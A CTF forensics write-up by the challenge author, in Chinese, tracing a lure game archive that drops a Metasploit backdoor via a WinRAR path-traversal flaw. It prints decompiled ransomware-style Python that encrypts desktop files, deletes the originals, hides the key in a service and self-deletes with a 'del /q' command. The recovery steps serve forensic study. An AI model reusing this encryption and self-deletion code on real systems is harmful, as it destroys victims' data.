2025羊城杯网络安全大赛 - Misc - 你也是旮旯给木大师? - WriteUp
出题人碎碎念
致敬爱的ycb选手们:
很荣幸这次能够作为出题人&运维参与到这次的羊城杯赛事中,我主要负责了两道misc题目,一个是《别笑,你试你也过不了第二关》,另一个就是取证题《你也是旮旯给木大师?》,第一题作为“简单”难度的题目,题解数还是比较可观,且网上也有一些相关的方法(特别是第二关),遂不在这进行WP的展示。而取证则与前一题形成了极大的差距,截止到比赛结束,四个赛道也仅有一个题解……
在这里必须给每位在《你也是旮旯给木大师?》中艰难奋斗过的选手说一声实在抱歉,出题人给您滑跪了ORZ 比赛过程中经过反思感觉题目的引导性还是不够直白,题目的设置也存在一定的歧义,镜像的处理还是不够完善,可能导致了部分选手走了许多的弯路,尽管后面给出了一些hint,也还是没有办法更多的推动选手们去完成这道题,真的很抱歉啊ORZ 你们能不能轻点骂呜呜呜
最后还是老样子,很开心有机会参与这次的出题,也是我第一次参与ycb的相关工作,希望明年能够好好努力,给大家出点真正好的题目(轻点骂轻点骂ORZ)
题目信息
题目名:你也是旮旯给木大师?
题目描述:我结识了一位自称喜欢旮旯给木的师傅,并从他那要来了一份整合包,殊不知这便是我踏入陷阱的开始……
1.攻击者用于提权的工具是?
2.攻击者用于维权的账户的账户名是?
3.攻击者在攻击过程中利用了某个CVE漏洞,其编号为? (示例: CVE-2024-3102)
4.攻击者通过某社交软件给受害者发送恶意压缩包的时间是? (示例: 14:52)
5.攻击者在恶意程序内藏有一串token,其值为?
6.绝密文件中含有一个重要密钥,其值是?
Metasploit_heicker$_CVE-2025-6218_06:45_T1E2I6O4_MIE_CTF_2025_T0k3n_#S3cur3!V3#
问题1 提权工具
题目附件如下,分别是一个压缩包,一个ciallo文件,一个memory内存镜像
先来观察一下压缩包,有三个点比较可疑,首先有一个launch.exe,然后最下面的文档说明了要用管理员模式进行启动,使用管理员模式启动的话就可能会执行一些需要管理员权限才能执行的操作,这里实际上是攻击者用来引导受害者的;而剩下的一个名字为空的目录看着比较奇怪
进入这个目录中分析,会发现他里面套了很多层目录,而且这个目录路径其实就是我们c盘用户目录中的启动项的目录路径,在Startup
目录中存了一个Genshin.exe
将其提取出来,如果恰好你有开杀毒的话,也许他就会被查杀,这边可以看到火绒显示这是个后门病毒,而且显示为Meterpreter
将其丢给云沙箱,可以直接看到他其实是Metasploit家族的后门,实际上他是利用msf生成的一个后门payload,受害者将其解压到启动项目录后,每次开机都会自动启动这个程序,然后攻击者就可以通过其后门进行连接,然后执行一系列操作进行提权等恶意行为
所以问题1的提权工具是Metasploit
问题2 维权账户
攻击者在提权成功后,在受害者的系统中创建了对应的隐藏账户用于维持权限,并且清楚了命令记录,因此没有办法通过查询相关记录(net user)来直接搜寻隐藏账户,但事实上在win系统中,存在一个底层的可以记录所有账户包括影子账户的地方,那就是注册表。内存镜像中是会记录系统的注册表信息的,包括对应的键值,我们只需要去分析注册表中SAM里的键值即可,利用vol3中的windows.registry.printkey
功能,导出SAM\Domains\Account\Users\Names
的键值即可
python vol.py -f ../memory windows.registry.printkey --key "SAM\Domains\Account\Users\Names"
导出记录后,不难发现存在一个影子账户,名为heicker$
,这就是攻击者用于维权的账户
问题3 CVE编号
攻击者在攻击过程中利用的cve漏洞实际上与问题1相关,前面我们可以看到压缩包里存在下面这么个奇妙的目录路径.. / .. /AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
不难猜到这是一个目录穿越的操作,通过目录穿越定位到受害者的启动项目录,从而将恶意程序解压到启动项中
这部分的引导可能相对较少(不过好像可以非,Aura师傅找到了生成poc的压缩包名,里面有cve编号hhhh),实际上这里利用了今年的winrar目录穿越漏洞(CVE-2025-6218
),在7.11版本以前的winrar中解压这个恶意压缩包就会将恶意程序解压到指定目录,从而遭到攻击
问题4 社交软件发送压缩包的时间
这题可能稍微难一点,出这问的契机是ycb的前一两周,咱们联队打了一个国外赛里面有一题取证,附件给了一个dwm.exe(桌面窗口管理器)的进程内存转储,用gimp或者lovelypixelweaver(伟大无需多言)进行查看,通过调整偏移可以看到桌面的窗口信息,从而拿到flag
所以这里我模仿了这道取证的做法,通过查看pslist
可以看到qq进程是还在的,那说明可能可以看到对应的窗口情况,老样子用memmap
提取他的内存转储,然后用lovelypixelweaver去看偏移即可
python vol.py -f ../memory windows.memmap --pid 424 --dump
但直到这里,这题还没结束,因为如果要去看窗口信息的话,我们还得调整宽度,而这个宽度,实际上就跟我们平时做图片隐写中调整图片宽度类似,如果宽度对应不上的话,那他的画面就没有办法正常显示,所以我们需要知道窗口的宽度,一般来说就是桌面的分辨率
但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率
到这里就已经没有别的信息了,我们再看看附件的其他内容
回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译
反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: launch.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import ctypes
import hashlib
import subprocess
import sys
import time
import win32serviceutil
import win32service
import win32event
import servicemanager
from PIL import Image, ImageDraw, ImageFont
import random
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
import Secr3ts
import base64
import os
def get_screen_resolution():
user32 = ctypes.windll.user32
width = user32.GetSystemMetrics(0)
height = user32.GetSystemMetrics(1)
return (width, height)
def create_wallpaper(width, height, text, subtext):
image = Image.new('RGB', (width, height), color=(0, 0, 0))
draw = ImageDraw.Draw(image)
try:
font = ImageFont.truetype('arial.ttf', 150)
bbox = draw.textbbox((0, 0), text, font=font)
text_width = bbox[2] - bbox[0]
text_height = bbox[3] - bbox[1]
position = ((width - text_width) // 2, (height - text_height) // 2)
draw.text(position, text, fill=(0, 255, 0), font=font)
subtext_font = ImageFont.truetype('arial.ttf', 50)
subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
subtext_width = subtext_bbox[2] - subtext_bbox[0]
subtext_height = subtext_bbox[3] - subtext_bbox[1]
subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
for _ in range(100):
x = random.randint(0, width)
y = random.randint(0, height)
char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
draw.text((x, y), char, fill=color, font=font)
sysRoot = os.path.expanduser('~')
picture = os.path.join(sysRoot, 'Pictures/')
image.save(picture + 'wallpaper.png')
except IOError:
font = ImageFont.load_default()
def set_wallpaper():
SPI_SETDESKWALLPAPER = 20
sysRoot = os.path.expanduser('~')
picture = os.path.join(sysRoot, 'Pictures/')
WALLPAPER_PATH = picture + 'wallpaper.png'
ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
def cal_md5(image_path):
with open(image_path, 'rb') as fp:
data = fp.read()
file_md5 = hashlib.md5(data).hexdigest()
return file_md5
SERVICE_NAME = None
SERVICE_DISPLAY_NAME = None
DUMMY_EXE_NAME = None
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
class MySimpleService(win32serviceutil.ServiceFramework):
_svc_name_ = SERVICE_NAME
_svc_display_name_ = SERVICE_DISPLAY_NAME
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
def svc_register(key):
try:
with open(DUMMY_EXE_PATH, 'w') as f:
f.write(key.hex())
win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
except Exception as e:
print(f'安装失败: {e}')
def custom_b64encode(data: bytes) -> bytes:
STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
if getattr(sys, 'frozen', False):
base_path = sys._MEIPASS
exe_path = os.path.join(base_path, 'ab.exe')
subprocess.run([exe_path], check=False)
sysRoot = os.path.expanduser('~')
db_path = None
with open(db_path, 'rb') as f:
CUSTOM_B64 = f.read().strip()
std = base64.b64encode(data)
trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
return std.translate(trans_table)
def encrypt(iv: str, key, infile: str, outfile: str):
iv = bytes(iv, 'utf-8')
what = 'augabevoli'
xor_str = what[::(-1)].encode('utf-8')
xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
svc_register(xor_key)
with open(infile, 'rb') as f:
data = f.read()
pad_len = 16 - len(data) % 16
data_padded = data + bytes([pad_len] * pad_len)
sm4 = CryptSM4()
sm4.set_key(key, SM4_ENCRYPT)
enc = sm4.crypt_cbc(iv, data_padded)
b64 = custom_b64encode(enc)
with open(outfile, 'wb') as f:
f.write(b64)
os.remove(infile)
def encrypt_desktop():
file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
key = os.urandom(16)
sysRoot = os.path.expanduser('~')
localRoot = os.path.join(sysRoot, 'Desktop/')
picture = os.path.join(sysRoot, 'Pictures/')
system = os.walk(localRoot, topdown=True)
for root, dir, files in system:
for file in files:
file_path = os.path.join(root, file)
if file.split('.')[(-1)] not in file_types:
continue
if file.split('.')[(-1)] == 'ciallo':
continue
b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
time.sleep(3)
cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
subprocess.Popen(cmd, shell=True)
if __name__ == '__main__':
width, height = get_screen_resolution()
create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
set_wallpaper()
encrypt_desktop()
既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片
dump下来,看看属性就知道分辨率是多少了
根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45
问题5 恶意程序中的token
恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts
的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted
目录中找到Secr3ts
的pyc文件
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: launch.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import ctypes
import hashlib
import subprocess
import sys
import time
import win32serviceutil
import win32service
import win32event
import servicemanager
from PIL import Image, ImageDraw, ImageFont
import random
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
import Secr3ts # 很奇怪
import base64
import os
用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7
函数,里面其实就是token值的一个输出,其他都是用来混淆的
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Secr3ts.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
global _counter # inserted
import time
import random
import hashlib
import base64
from functools import wraps
def xor_bytes(data, key):
return bytes([b ^ key for b in data])
CONFIG_VERSION = 'v3.1.9'
_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
class FakeCache:
def __init__(self):
self._store = {}
def set(self, k, v):
key = hashlib.md5(str(k).encode()).hexdigest()
self._store[key] = (v, time.time())
def get(self, k, default=None):
key = hashlib.md5(str(k).encode()).hexdigest()
v = self._store.get(key, (default, 0))[0]
return v
def purge_old(self, age=60):
now = time.time()
keys = list(self._store.keys())
for k in keys:
if now - self._store[k][1] > age:
pass # postinserted
else: # inserted
del self._store[k]
_cache = FakeCache()
def verbose_marker(name):
def deco(f):
@wraps(f)
def wrapped(*a, **kw):
h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
_cache.set('mark_' + name, h)
return f(*a, **kw)
return wrapped
return deco
def poly_noise(x):
s = 0
for i in range(1, 16):
s += x ** i % (i + 7) * (i ^ 3)
return s
def weird_transform(s):
a = s.encode('utf-8')
b = base64.b64encode(a).decode()
c = hashlib.sha1(b.encode()).hexdigest()
return c[:12]
class PhantomStateMachine:
def __init__(self):
self.s = 0
self.history = []
def step(self, val):
self.s = self.s * 31 + (val ^ 85) & 4294967295
self.history.append(self.s)
return self.s
def snapshot(self):
return tuple(self.history[(-5):])
def reset(self):
self.s = 0
self.history.clear()
_phantom = PhantomStateMachine()
def pretend_network_send(payload):
time.sleep(0.001)
return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
def pretend_read_file(path):
try:
with open(path, 'rb') as f:
data = f.read(32)
return data
except Exception:
return b''
def random_walk(seed, steps=100):
r = seed
for i in range(steps):
r = r << 1 | r >> 3 ^ i * 158
yield (r & 4294967295)
def meaningless_loop():
acc = 0
for v in random_walk(66, 20):
acc ^= v & 255
if acc & 1:
pass # postinserted
else: # inserted
acc = acc << 1 & 4294967295
return acc
def try_many_things():
try:
_ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
return 'done'
except Exception:
for i in range(3):
continue
return 'done'
except:
return 'done'
def fake_sorter(seq):
a = list(seq)
n = len(a)
for i in range(n):
for j in range(0, n - i - 1):
if a[j] ^ 170 > a[j + 1] ^ 170:
pass # postinserted
else: # inserted
a[j], a[j + 1] = (a[j + 1], a[j])
return a
class Obfuscator:
def __init__(self, seed=4660):
self.seed = seed
self.table = [_ for _ in range(256)]
random.shuffle(self.table)
def mix(self, data):
return bytes([b ^ self.seed & 255 for b in data])
def heavy(self, data):
out = bytearray()
for i, b in enumerate(data):
out.append((b ^ self.table[i % 256]) & 255)
return bytes(out)
_obf = Obfuscator(seed=21930)
def f_a(x):
return (x * 7 ^ 5) & 255
def f_b(x):
return (x + 13) % 256
def f_c(x):
return x << 2 & 255
_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
_counter = 0
def orchestrator(flag=False):
global _counter # inserted
_counter += 1
if flag:
_cache.purge_old(age=1)
_phantom.step(_counter)
return _counter
def G1f7(): # 有问题
what = '167307700b740d76'
xor_key = 66
orchestrator(flag=bool(len(what) % 2))
_cache.set('len_what', len(what))
token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
token_clean = token_bytes
try:
token = token_clean.decode('utf-8')
_ = meaningless_loop()
pretend_network_send(token[:4])
print(token)
return token
except Exception:
token = token_clean.decode('latin1')
def long_useless_procedure():
res = []
for i in range(50):
a = f_a(i)
b = f_b(i)
c = f_c(i)
res.append((a, b, c))
_phantom.step(i) if i % 7 == 3 else i
if i % 11 == 0:
pass # postinserted
else: # inserted
_cache.set('checkpoint_' + str(i), (a, b, c))
flat = [x for t in res for x in t]
s = sum(flat) & 65535
return hashlib.sha256(str(s).encode()).hexdigest()
def nested_confusion(level):
if level <= 0:
pass # postinserted
return 0
class RedHerring:
def __init__(self):
self.a = meaningless_loop()
self.b = long_useless_procedure()
def run(self):
for i in range(10):
_cache.set('rh' + str(i), (self.a, self.b, i))
_ = nested_confusion(i % 4)
return True
_h1 = RedHerring()
_h2 = RedHerring()
_h3 = RedHerring()
def generate_noise_strings(n=100):
out = []
for i in range(n):
cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
out.append(cs)
return out
_noise_strings = generate_noise_strings(80)
if __name__ == '__main__':
print('CONFIG', CONFIG_VERSION)
print('SYSID', _SYSTEM_ID[:12])
print('CACHE_SAMP', _cache.get('len_what'))
_h1.run()
_h2.run()
_ = long_useless_procedure()
简单分析G1f7
的代码,然后解出token即可,答案为T1E2I6O4
问题6 绝密文件的重要密钥
接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作
可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表
分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: launch.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import ctypes
import hashlib
import subprocess
import sys
import time
import win32serviceutil
import win32service
import win32event
import servicemanager
from PIL import Image, ImageDraw, ImageFont
import random
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
import Secr3ts
import base64
import os
def get_screen_resolution():
user32 = ctypes.windll.user32
width = user32.GetSystemMetrics(0)
height = user32.GetSystemMetrics(1)
return (width, height)
def create_wallpaper(width, height, text, subtext):
image = Image.new('RGB', (width, height), color=(0, 0, 0))
draw = ImageDraw.Draw(image)
try:
font = ImageFont.truetype('arial.ttf', 150)
bbox = draw.textbbox((0, 0), text, font=font)
text_width = bbox[2] - bbox[0]
text_height = bbox[3] - bbox[1]
position = ((width - text_width) // 2, (height - text_height) // 2)
draw.text(position, text, fill=(0, 255, 0), font=font)
subtext_font = ImageFont.truetype('arial.ttf', 50)
subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
subtext_width = subtext_bbox[2] - subtext_bbox[0]
subtext_height = subtext_bbox[3] - subtext_bbox[1]
subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
for _ in range(100):
x = random.randint(0, width)
y = random.randint(0, height)
char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
draw.text((x, y), char, fill=color, font=font)
sysRoot = os.path.expanduser('~')
picture = os.path.join(sysRoot, 'Pictures/')
image.save(picture + 'wallpaper.png')
except IOError:
font = ImageFont.load_default()
def set_wallpaper():
SPI_SETDESKWALLPAPER = 20
sysRoot = os.path.expanduser('~')
picture = os.path.join(sysRoot, 'Pictures/')
WALLPAPER_PATH = picture + 'wallpaper.png'
ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
def cal_md5(image_path):
with open(image_path, 'rb') as fp:
data = fp.read()
file_md5 = hashlib.md5(data).hexdigest()
return file_md5
SERVICE_NAME = None
SERVICE_DISPLAY_NAME = None
DUMMY_EXE_NAME = None
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
class MySimpleService(win32serviceutil.ServiceFramework):
_svc_name_ = SERVICE_NAME
_svc_display_name_ = SERVICE_DISPLAY_NAME
def __init__(self, args):
win32serviceutil.ServiceFramework.__init__(self, args)
self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
def SvcStop(self):
self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
win32event.SetEvent(self.hWaitStop)
def SvcDoRun(self):
servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
def svc_register(key):
try:
with open(DUMMY_EXE_PATH, 'w') as f:
f.write(key.hex())
win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
except Exception as e:
print(f'安装失败: {e}')
def custom_b64encode(data: bytes) -> bytes:
STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
if getattr(sys, 'frozen', False):
base_path = sys._MEIPASS
exe_path = os.path.join(base_path, 'ab.exe')
subprocess.run([exe_path], check=False)
sysRoot = os.path.expanduser('~')
db_path = None
with open(db_path, 'rb') as f:
CUSTOM_B64 = f.read().strip()
std = base64.b64encode(data)
trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
return std.translate(trans_table)
def encrypt(iv: str, key, infile: str, outfile: str):
iv = bytes(iv, 'utf-8')
what = 'augabevoli'
xor_str = what[::(-1)].encode('utf-8')
xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
svc_register(xor_key)
with open(infile, 'rb') as f:
data = f.read()
pad_len = 16 - len(data) % 16
data_padded = data + bytes([pad_len] * pad_len)
sm4 = CryptSM4()
sm4.set_key(key, SM4_ENCRYPT)
enc = sm4.crypt_cbc(iv, data_padded)
b64 = custom_b64encode(enc)
with open(outfile, 'wb') as f:
f.write(b64)
os.remove(infile)
def encrypt_desktop():
file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
key = os.urandom(16)
sysRoot = os.path.expanduser('~')
localRoot = os.path.join(sysRoot, 'Desktop/')
picture = os.path.join(sysRoot, 'Pictures/')
system = os.walk(localRoot, topdown=True)
for root, dir, files in system:
for file in files:
file_path = os.path.join(root, file)
if file.split('.')[(-1)] not in file_types:
continue
if file.split('.')[(-1)] == 'ciallo':
continue
b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
time.sleep(3)
cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
subprocess.Popen(cmd, shell=True)
if __name__ == '__main__':
width, height = get_screen_resolution()
create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
set_wallpaper()
encrypt_desktop()
wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)
而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)
用vol3中windows.svclist
这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件
将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可
最后是base64的字母表,在解包后的目录中可以找到ab.exe
用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3
,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索
直接拿010爆搜即可,就能找到完整的自定义字母表了
最后自己写个脚本解密即可
from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
import base64
key = 'e1287afc7a0526ea7f55774192fd8c5a'
key = bytes.fromhex(key)
print(key.hex())
iv = b'47284e7609e7017d'
what = 'augabevoli'
xor_str = what[::-1].encode('utf-8')
xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
print('XOR 后的 key:', xor_key.hex())
STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
CUSTOM_B64 = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
def custom_b64decode(data: bytes) -> bytes:
trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
std = data.translate(trans_table)
return base64.b64decode(std)
def sm4_decrypt_file(infile: str, outfile: str):
with open(infile, 'rb') as f:
data = custom_b64decode(f.read())
sm4 = CryptSM4()
sm4.set_key(key, SM4_DECRYPT)
dec = sm4.crypt_cbc(iv, data)
dec = dec.rstrip(b'\x00')
with open(outfile, 'wb') as f:
f.write(dec)
print(f'文件已解密 → {outfile}')
sm4_decrypt_file('绝密.ciallo', 'recover.pdf')
恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#